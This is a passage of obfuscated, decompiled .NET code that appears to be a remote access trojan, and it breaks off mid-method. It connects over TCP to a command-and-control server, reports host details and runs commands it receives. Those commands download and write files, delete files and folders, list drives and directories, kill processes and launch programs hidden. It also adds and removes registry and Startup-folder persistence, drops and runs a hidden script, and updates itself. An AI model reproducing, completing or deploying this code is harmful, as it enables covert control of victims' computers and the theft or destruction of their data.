\u0001\u0002.\u007E\u001A\u0004((object) this.\u0004); \u0001\u0002.\u007E\u001A\u0004((object) this.\u0001); \u0001\u0002.\u007E\u001A\u0004((object) this.\u0002); \u0001\u0002.\u007E\u001A\u0004((object) this.\u0005); \u0001\u0002.\u007E\u001A\u0004((object) this.\u0006); \u0001\u0002.\u007E\u001A\u0004((object) this.\u0007); \u0001\u0002.\u007E\u0014((object) \u0002.\u0001); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0001\u0002.\u007E\u0017\u0004((object) this.\u0001); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0015\u0004.\u0099\u0005(\u0011\u0002.\u0014\u0007(), FileAttributes.Normal); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0015\u0004.\u0099\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1059)), FileAttributes.Normal); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0015\u0004.\u0099\u0005(\u0002.\u000E, FileAttributes.Normal); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1068))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { string[] strArray = \u0006\u0004.\u0083\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1059))); int index = 0; while (index < strArray.Length) { string str = strArray[index]; try { \u0008\u0004.\u0093\u0005(\u009B\u0002.\u0007\u0006(str)); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } checked { ++index; } } \u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1059))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0008\u0004.\u0093\u0005(\u0099\u0002.\u009E\u0002(\u0014\u0003.\u008C\u0003(Environment.SpecialFolder.Startup), \u0002.\u0001.\u0001(475), \u0002.\u0007, \u0002.\u0001.\u0001(480))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0095\u0004.\u007E\u0006\u0007((object) \u0082\u0004.\u007E\u008E\u0006((object) \u0005.\u0001.\u0002()), \u0002.\u0001.\u0001(621), \u0002.\u0001.\u0001(587), (object) \u0002.\u0001.\u0001(328), RegistryValueKind.String); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0095\u0004.\u007E\u0006\u0007((object) \u0082\u0004.\u007E\u008E\u0006((object) \u0005.\u0001.\u0002()), \u0002.\u0001.\u0001(498), \u0002.\u0001.\u0001(587), (object) \u0002.\u0001.\u0001(328), RegistryValueKind.String); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { RegistryKey registryKey = \u009F\u0003.\u007E\u0011\u0005((object) Registry.LocalMachine, \u0002.\u0001.\u0001(1228), true); \u0006\u0002.\u007E\u0010\u0005((object) registryKey, \u0002.\u0001.\u0001(587)); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { RegistryKey registryKey = \u009F\u0003.\u007E\u0011\u0005((object) Registry.CurrentUser, \u0002.\u0001.\u0001(1228), true); \u0006\u0002.\u007E\u0010\u0005((object) registryKey, \u0002.\u0001.\u0001(587)); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0015\u0004.\u0099\u0005(\u0011\u0002.\u0014\u0007(), FileAttributes.Normal); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0008\u0004.\u0093\u0005(\u0002.\u000E); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0092\u0004 obj = \u0092\u0004.\u007E\u0003\u0007; FileSystemProxy fileSystemProxy = \u007F\u0004.\u007E\u008B\u0006((object) \u0005.\u0001.\u0002()); string str1 = \u0097\u0002.\u000F\u0006(\u0014\u0003.\u008C\u0003(Environment.SpecialFolder.Desktop), \u0002.\u0001.\u0001(1289)); string[] strArray = new string[20] { \u0002.\u0001.\u0001(1306), \u0002.\u0005, \u0002.\u0001.\u0001(1319), \u0011\u0002.\u0014\u0007(), \u0002.\u0001.\u0001(777), \u0002.\u0005, \u0002.\u0001.\u0001(1332), \u0002.\u000E, \u0002.\u0001.\u0001(1068), \u0002.\u0005, \u0002.\u0001.\u0001(1332), \u0002.\u000E, \u0002.\u0001.\u0001(1345), \u0002.\u0005, \u0002.\u0001.\u0001(1332), \u0002.\u000E, \u0002.\u0005, \u0002.\u0001.\u0001(1306), \u0002.\u0005, \u0002.\u0001.\u0001(1354) }; string str2 = \u009A\u0002.\u009F\u0002(strArray); obj((object) fileSystemProxy, str1, str2, false); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } ProcessStartInfo processStartInfo = new ProcessStartInfo(\u0097\u0002.\u000F\u0006(\u0014\u0003.\u008C\u0003(Environment.SpecialFolder.Desktop), \u0002.\u0001.\u0001(1289))); \u0005\u0002.\u007E\u000F\u0002((object) processStartInfo, true); \u0088\u0002.\u007E\u0011\u0002((object) processStartInfo, ProcessWindowStyle.Hidden); Process process = \u0086\u0002.\u009F(processStartInfo); \u0001\u0002.\u007E\u0001\u0002((object) \u0082\u0002.\u009C()); } public void \u000E() { while (true) { try { if (\u0002.\u0001) { if (\u0002.\u0003 <= 0) { \u0001\u0002.\u007E\u001A\u0004((object) this.\u0004); \u0002.\u0001 obj = this; // ISSUE: virtual method pointer this.\u0004 = new Thread(new ThreadStart((object) obj, __vmethodptr(obj, \u000F))); \u0001\u0002.\u007E\u0019\u0004((object) this.\u0004); } else { \u0015\u0003.\u001B\u0004(60000); checked { \u0002.\u0003 -= 60000; } } } } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } \u0015\u0003.\u001B\u0004(500); } } public void \u000F() { try { \u0002.\u0001 = false; label_1: while (true) { while (!\u0004\u0002.\u007E\u008A\u0006((object) \u0081\u0004.\u007E\u008D\u0006((object) \u0005.\u0001.\u0002()))) \u0015\u0003.\u001B\u0004(5000); try { \u0002.\u0001 = new TcpClient(); try { \u0002.\u0001 = (BinaryReader) null; \u0002.\u0001 = (BinaryWriter) null; \u0019\u0002.\u007E\u008F((object) \u0002.\u0001, \u0002.\u0014, \u0002.\u0002); \u0002.\u0001 = new BinaryReader((Stream) \u001A\u0002.\u007E\u0090((object) \u0002.\u0001)); \u0002.\u0001 = new BinaryWriter((Stream) \u001A\u0002.\u007E\u0090((object) \u0002.\u0001)); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0002.\u0001 = false; \u0001\u0002.\u007E\u0091((object) \u0002.\u0001); \u0002.\u0001 = (TcpClient) null; \u0002.\u0001 = (BinaryReader) null; \u0002.\u0001 = (BinaryWriter) null; \u0015\u0003.\u001B\u0004(10000); \u0016\u0003.\u0001\u0007(); continue; } try { this.\u0002 = \u0014\u0002.\u009B\u0006(\u0088\u0003.\u009E\u0006(\u0088\u0003.\u009E\u0006(\u0088\u0003.\u009E\u0006(\u0088\u0003.\u009E\u0006(\u0088\u0003.\u009E\u0006((object) \u0097\u0002.\u009C\u0002(\u0097\u0002.\u009C\u0002(\u0097\u0002.\u009C\u0002(\u0097\u0002.\u009C\u0002(\u0097\u0002.\u009C\u0002(\u0097\u0002.\u009C\u0002(\u0097\u0002.\u009C\u0002(\u0002.\u0007, \u0002.\u0001.\u0001(225)), \u0014\u0002.\u007E\u0087((object) \u0015\u0002.\u007E\u0089((object) \u0012\u0002.\u0084(\u0011\u0002.\u0083()))[0])), \u0002.\u0001.\u0001(225)), \u0002.\u0012), \u0002.\u0001.\u0001(225)), \u0002.\u0013), \u0002.\u0001.\u0001(225)), \u0002.\u0003.\u0002()), (object) \u0002.\u0001.\u0001(225)), (object) \u0014\u0002.\u007E\u0097\u0002((object) \u0011\u0002.\u0087\u0003())), (object) \u0002.\u0001.\u0001(225)), (object) \u0002.\u0015)); \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(this.\u0002)); \u0002.\u0003 = 360000; \u0002.\u0001 = true; while (true) { while (\u008F\u0004.\u009D\u0006(this.\u0004, \u0002.\u0001.\u0001(328), false) == 0) { try { this.\u0004 = \u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0002.\u0001 = false; \u0001\u0002.\u007E\u0091((object) \u0002.\u0001); \u0002.\u0001 = (TcpClient) null; \u0002.\u0001 = (BinaryReader) null; \u0002.\u0001 = (BinaryWriter) null; \u0016\u0003.\u0001\u0007(); goto label_1; } \u0016\u0003.\u0016\u0007(); } try { \u0002.\u0001 = true; \u0002.\u0003 = 360000; string str = this.\u0003(this.\u0004); if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1367), false) == 0) \u0002.\u0003 = 360000; else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1380), false) == 0) this.\u0015(); else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1397), false) == 0) this.\u0014(); else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1414), false) == 0) this.\u0011(); else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1435), false) == 0) this.\u0012(); else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1452), false) == 0) this.\u0013(); else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1469), false) == 0) this.\u0017(); else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1482), false) == 0) this.\u0008(); else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1499), false) == 0) this.\u0018(); else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1516), false) == 0) this.\u001A(); else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1533), false) == 0) this.\u001B(); else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1550), false) == 0) this.\u0019(); else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1571), false) == 0) this.\u001C(); else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1588), false) == 0) this.\u001D(); else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1605), false) == 0) this.\u001E(); else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1622), false) == 0) this.\u001F(); else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1639), false) == 0) this.\u007F(); else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1656), false) == 0) this.\u0016(); else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1673), false) == 0) this.\u0080(); else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1690), false) == 0) this.\u0081(); else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1715), false) == 0) this.\u0082(); else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1732), false) == 0) this.\u0083(); this.\u0004 = \u0002.\u0001.\u0001(328); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0002.\u0001 = false; this.\u0004 = \u0002.\u0001.\u0001(328); \u0001\u0002.\u007E\u0091((object) \u0002.\u0001); \u0002.\u0001 = (TcpClient) null; \u0002.\u0001 = (BinaryReader) null; \u0002.\u0001 = (BinaryWriter) null; \u0016\u0003.\u0001\u0007(); goto label_1; } } } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0002.\u0001 = false; \u0001\u0002.\u007E\u0091((object) \u0002.\u0001); \u0002.\u0001 = (TcpClient) null; \u0002.\u0001 = (BinaryReader) null; \u0002.\u0001 = (BinaryWriter) null; \u0016\u0003.\u0001\u0007(); } } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0002.\u0001 = false; \u0016\u0003.\u0001\u0007(); } } } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); goto label_1; } } private void \u0010() { try { this.\u0002(\u0002.\u0001[0], \u0002.\u0001[1], \u0002.\u0001[2]); \u0002.\u0001 = (string[]) null; } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } private void \u0002([In] string obj0, [In] string obj1, [In] string obj2) { try { string str = obj0; if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1749), false) != 0) { if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1762), false) == 0) { Process process1 = \u0084\u0002.\u009E(\u0002.\u0001.\u0001(1771), \u0002.\u0001.\u0001(1784)); } else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1797), false) == 0) { Process process2 = \u0084\u0002.\u009E(\u0002.\u0001.\u0001(1771), \u0002.\u0001.\u0001(1810)); } else { if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1823), false) != 0) return; Process process3 = \u0084\u0002.\u009E(\u0002.\u0001.\u0001(1771), \u0002.\u0001.\u0001(1836)); } } else { ProcessStartInfo processStartInfo = new ProcessStartInfo(obj1); \u0005\u0002.\u007E\u000F\u0002((object) processStartInfo, true); Process process4 = \u0086\u0002.\u009F(processStartInfo); } } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } public void \u0011() { try { this.\u0001 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001)); string str1 = \u0014\u0002.\u009B\u0006(\u0002.\u0002(0, this.\u0001, \u0002.\u0001.\u0001(1849))); string str2 = \u0014\u0002.\u009B\u0006(\u0002.\u0002(1, this.\u0001, \u0002.\u0001.\u0001(1849))); try { string str3 = str1; if (\u008F\u0004.\u009D\u0006(str3, \u0002.\u0001.\u0001(1858), false) == 0) { if (\u0004\u0004.\u0081\u0005(str2)) { try { string[] strArray = \u0006\u0004.\u0083\u0005(str2); int index = 0; while (index < strArray.Length) { string str4 = strArray[index]; try { \u0008\u0004.\u0093\u0005(str4); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } checked { ++index; } } \u0015\u0003.\u0090\u0003(0); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0015\u0004.\u0099\u0005(str2, FileAttributes.Normal); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } \u0008\u0004.\u0089\u0005(str2); } } else if (\u008F\u0004.\u009D\u0006(str3, \u0002.\u0001.\u0001(1871), false) == 0) { if (\u0004\u0004.\u0094\u0005(str2)) { try { \u0015\u0004.\u0099\u0005(str2, FileAttributes.Normal); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } \u0008\u0004.\u0093\u0005(str2); } } else if (\u008F\u0004.\u009D\u0006(str3, \u0002.\u0001.\u0001(1884), false) == 0) { if (!\u0004\u0004.\u0081\u0005(str2)) { DirectoryInfo directoryInfo = \u0003\u0004.\u0080\u0005(str2); } } else if (\u008F\u0004.\u009D\u0006(str3, \u0002.\u0001.\u0001(1901), false) == 0) { this.\u0008 = str2; this.\u0001 = checked ((long) \u000F\u0003.\u0081\u0003(\u000E\u0002.\u0014\u0006(\u0002.\u0002(2, this.\u0001, \u0002.\u0001.\u0001(1849))))); this.\u0002 = checked ((long) \u000F\u0003.\u0081\u0003(\u000E\u0002.\u0014\u0006(\u0002.\u0002(3, this.\u0001, \u0002.\u0001.\u0001(1849))))); this.\u000F = \u0097\u0002.\u000F\u0006(\u0014\u0002.\u009B\u0006(\u0002.\u0002(4, this.\u0001, \u0002.\u0001.\u0001(1849))), this.\u0008); try { \u0008\u0004.\u0093\u0005(this.\u000F); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } byte[] numArray = new byte[checked ((int) this.\u0002 + 1)]; long num1 = 0; FileStream fileStream = new FileStream(this.\u000F, FileMode.Create, FileAccess.Write); try { while (num1 != this.\u0001) { int num2 = \u0016\u0002.\u007E\u008A((object) \u001A\u0002.\u007E\u0090((object) \u0002.\u0001), numArray, 0, numArray.Length); \u0017\u0002.\u007E\u0005\u0006((object) fileStream, numArray, 0, num2); checked { num1 += (long) num2; } \u0001\u0002.\u007E\u0003\u0006((object) fileStream); } \u0001\u0002.\u007E\u0019\u0005((object) fileStream); } finally { if (fileStream != null) \u0001\u0002.\u007E\u0088\u0002((object) fileStream); } } else if (\u008F\u0004.\u009D\u0006(str3, \u0002.\u0001.\u0001(1918), false) == 0) { Process process = \u0083\u0002.\u009D(str2); } \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(\u0002.\u0001.\u0001(1935))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(\u0002.\u0001.\u0001(1948))); \u0016\u0003.\u0001\u0007(); } } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } public void \u0012() { string str1; string str2; string str3; string str4; string str5; try { string str6 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001)); string str7 = \u0002.\u0001.\u0001(328); string[] strArray1 = \u0006\u0004.\u0083\u0005(str6); int num1 = \u008C\u0002.\u007E\u0087\u0002((object) strArray1, 0); int index = 0; string str8; string str9; string str10; while (index <= num1) { FileInfo fileInfo = new FileInfo(\u0014\u0002.\u007E\u0097\u0002((object) strArray1[index])); DateTime dateTime; if (\u008F\u0004.\u009D\u0006(str7, \u0002.\u0001.\u0001(328), false) == 0) { str7 = \u0014\u0002.\u007E\u009E\u0005((object) fileInfo); double num2 = \u0019\u0003.\u0097\u0003((double) \u001F\u0002.\u007E\u009F\u0005((object) fileInfo) / 1048576.0, 2); str8 = \u0097\u0002.\u009C\u0002(num2.ToString(), \u0002.\u0001.\u0001(1957)); str9 = \u0014\u0002.\u007E\u0082\u0002(\u0002.\u0002(fileInfo)); dateTime = \u000E\u0004.\u007E\u008B\u0005((object) fileInfo); str10 = dateTime.ToString(); } else { str7 = \u0098\u0002.\u009D\u0002(str7, \u0002.\u0001.\u0001(1849), \u0014\u0002.\u007E\u009E\u0005((object) fileInfo)); str8 = \u0099\u0002.\u009E\u0002(str8, \u0002.\u0001.\u0001(1962), \u0019\u0003.\u0097\u0003((double) \u001F\u0002.\u007E\u009F\u0005((object) fileInfo) / 1048576.0, 2).ToString(), \u0002.\u0001.\u0001(1957)); str9 = \u0098\u0002.\u009D\u0002(str9, \u0002.\u0001.\u0001(1962), \u0014\u0002.\u007E\u0082\u0002(\u0002.\u0002(fileInfo))); \u0098\u0002 obj = \u0098\u0002.\u009D\u0002; string str11 = str10; string str12 = \u0002.\u0001.\u0001(1962); dateTime = \u000E\u0004.\u007E\u008B\u0005((object) fileInfo); string str13 = dateTime.ToString(); str10 = obj(str11, str12, str13); } checked { ++index; } } if (\u008F\u0004.\u009D\u0006(str7, \u0002.\u0001.\u0001(328), false) == 0) { string str14 = \u0002.\u0001.\u0001(1971); \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(str14)); } else { string[] strArray2 = new string[7] { str7, \u0002.\u0001.\u0001(2000), str8, \u0002.\u0001.\u0001(2000), str9, \u0002.\u0001.\u0001(2000), str10 }; string str15 = \u009A\u0002.\u009F\u0002(strArray2); \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(str15)); } str1 = (string) null; str2 = (string) null; str3 = (string) null; str4 = (string) null; str5 = (string) null; } catch (Exception ex) { ProjectData.SetProjectError(ex); string str16 = \u0002.\u0001.\u0001(2009); \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(str16)); str1 = (string) null; str2 = (string) null; str3 = (string) null; str4 = (string) null; str5 = (string) null; \u0016\u0003.\u0001\u0007(); } } public void \u0013() { try { string str1 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001)); string str2 = \u0002.\u0001.\u0001(328); string[] strArray = \u0006\u0004.\u0084\u0005(str1); int num = \u008C\u0002.\u007E\u0087\u0002((object) strArray, 0); int index = 0; while (index <= num) { str2 = \u008F\u0004.\u009D\u0006(str2, \u0002.\u0001.\u0001(328), false) != 0 ? \u0098\u0002.\u009D\u0002(str2, \u0002.\u0001.\u0001(1849), \u0014\u0002.\u007E\u0097\u0002((object) strArray[index])) : \u0014\u0002.\u007E\u0097\u0002((object) strArray[index]); checked { ++index; } } if (\u008F\u0004.\u009D\u0006(str2, \u0002.\u0001.\u0001(328), false) == 0) \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(\u0002.\u0001.\u0001(2038))); else \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(str2)); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(\u0002.\u0001.\u0001(2047))); \u0016\u0003.\u0001\u0007(); } } public void \u0014() { try { string str1 = \u0002.\u0001.\u0001(328); string[] strArray1 = \u0007\u0004.\u0086\u0005(); DriveInfo[] driveInfoArray = \u0010\u0004.\u008F\u0005(); string str2 = \u009B\u0002.\u0087\u0005(\u0011\u0002.\u0086\u0003()); int num = \u008C\u0002.\u007E\u0087\u0002((object) strArray1, 0); int index = 0; while (index <= num) { if (\u008F\u0004.\u009D\u0006(str1, \u0002.\u0001.\u0001(328), false) == 0) str1 = \u008F\u0004.\u009D\u0006(\u0014\u0002.\u007E\u0097\u0002((object) strArray1[index]), str2, false) != 0 ? \u0098\u0002.\u009D\u0002(\u0014\u0002.\u007E\u0097\u0002((object) strArray1[index]), \u0002.\u0001.\u0001(2077), \u0014\u0002.\u007E\u0089\u0002((object) \u000F\u0004.\u007E\u008D\u0005((object) driveInfoArray[index]))) : \u0097\u0002.\u009C\u0002(\u0014\u0002.\u007E\u0097\u0002((object) strArray1[index]), \u0002.\u0001.\u0001(2056)); else if (\u008F\u0004.\u009D\u0006(\u0014\u0002.\u007E\u0097\u0002((object) strArray1[index]), str2, false) == 0) { str1 = \u0099\u0002.\u009E\u0002(str1, \u0002.\u0001.\u0001(1849), \u0014\u0002.\u007E\u0097\u0002((object) strArray1[index]), \u0002.\u0001.\u0001(2056)); } else { string[] strArray2 = new string[5] { str1, \u0002.\u0001.\u0001(1849), \u0014\u0002.\u007E\u0097\u0002((object) strArray1[index]), \u0002.\u0001.\u0001(2077), \u0014\u0002.\u007E\u0089\u0002((object) \u000F\u0004.\u007E\u008D\u0005((object) driveInfoArray[index])) }; str1 = \u009A\u0002.\u009F\u0002(strArray2); } checked { ++index; } } \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(str1)); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } public void \u0015() { try { string str = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001)); \u0002.\u0001 = \u0081\u0002.\u009B(); int num1 = \u008C\u0002.\u007E\u0087\u0002((object) \u0002.\u0001, 0); int index = 0; while (index <= num1) { try { int num2 = \u001D\u0002.\u007E\u0096((object) \u0002.\u0001[index]); if (\u008F\u0004.\u009D\u0006(num2.ToString(), str, false) == 0) \u0001\u0002.\u007E\u0001\u0002((object) \u0002.\u0001[index]); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } checked { ++index; } } \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(\u0002.\u0001.\u0001(2090))); \u0015\u0003.\u0090\u0003(2); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(\u0002.\u0001.\u0001(2103))); \u0016\u0003.\u0001\u0007(); } } [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] public void \u0016() { try { this.\u0001 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001)); if (\u008F\u0004.\u009D\u0006(this.\u0001, \u0002.\u0001.\u0001(2112), false) == 0) { \u0083\u0004.\u008F\u0006(1, \u0011\u0002.\u0014\u0007(), OpenMode.Binary, OpenAccess.Read, OpenShare.Shared, -1); string str1 = \u008B\u0004.\u0011\u0007(checked ((int) \u0088\u0004.\u0093\u0006(1))); \u0086\u0004.\u0091\u0006(1, ref str1, -1L, false); int[] numArray = new int[1]{ 1 }; \u0084\u0004.\u0090\u0006(numArray); string[] strArray1 = \u009A\u0004.\u0012\u0007(str1, \u0002.\u000F, -1, CompareMethod.Binary); string[] strArray2 = new string[5] { this.\u0003(strArray1[1]), \u0002.\u000F, this.\u0003(strArray1[2]), \u0002.\u000F, this.\u0003(strArray1[3]) }; string str2 = \u009A\u0002.\u009F\u0002(strArray2); \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(str2)); } if (\u008F\u0004.\u009D\u0006(this.\u0001, \u0002.\u0001.\u0001(2121), false) != 0) return; this.\u0001 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001)); try { try { try { \u0001\u0002.\u007E\u001A\u0004((object) this.\u0002); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0001\u0002.\u007E\u001A\u0004((object) this.\u0001); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0001\u0002.\u007E\u001A\u0004((object) this.\u0005); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0001\u0002.\u007E\u001A\u0004((object) this.\u0003); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0001\u0002.\u007E\u001A\u0004((object) this.\u0006); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0001\u0002.\u007E\u001A\u0004((object) this.\u0007); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0001\u0002.\u007E\u0091((object) \u0002.\u0001); \u0002.\u0001 = (TcpClient) null; } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0001\u0002.\u007E\u0017\u0004((object) this.\u0001); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { this.\u0001 = new Mutex(true, \u0002.\u0001.\u0001(1156)); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } \u0015\u0004.\u0099\u0005(\u0011\u0002.\u0014\u0007(), FileAttributes.Normal); try { \u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1081))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } \u0013\u0004.\u0092\u0005(\u0011\u0002.\u0014\u0007(), \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102))); try { \u0013\u0004.\u009C\u0005(\u0011\u0002.\u0014\u0007(), \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1081))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } \u0083\u0004.\u008F\u0006(1, \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102)), OpenMode.Binary, OpenAccess.Read, OpenShare.Default, -1); string str = \u008B\u0004.\u0011\u0007(checked ((int) \u0088\u0004.\u0093\u0006(1))); \u0086\u0004.\u0091\u0006(1, ref str, -1L, false); int[] numArray1 = new int[1]{ 1 }; \u0084\u0004.\u0090\u0006(numArray1); str = \u0092\u0002.\u007E\u009A\u0002((object) str, \u0002.\u0004); \u0083\u0004.\u008F\u0006(1, \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102)), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default, -1); \u0087\u0004.\u0092\u0006(1, \u0099\u0002.\u009E\u0002(str, \u0014\u0002.\u007E\u0097\u0002((object) this.\u0001), this.\u0002(\u0002.\u0004.ToString()), \u0002.\u000F), -1L, false); int[] numArray2 = new int[1]{ 1 }; \u0084\u0004.\u0090\u0006(numArray2); Process process = \u0083\u0002.\u009D(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102))); \u0001\u0002.\u007E\u0001\u0002((object) \u0082\u0002.\u009C()); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } catch (Exception ex) { ProjectData.SetProjectError(ex); 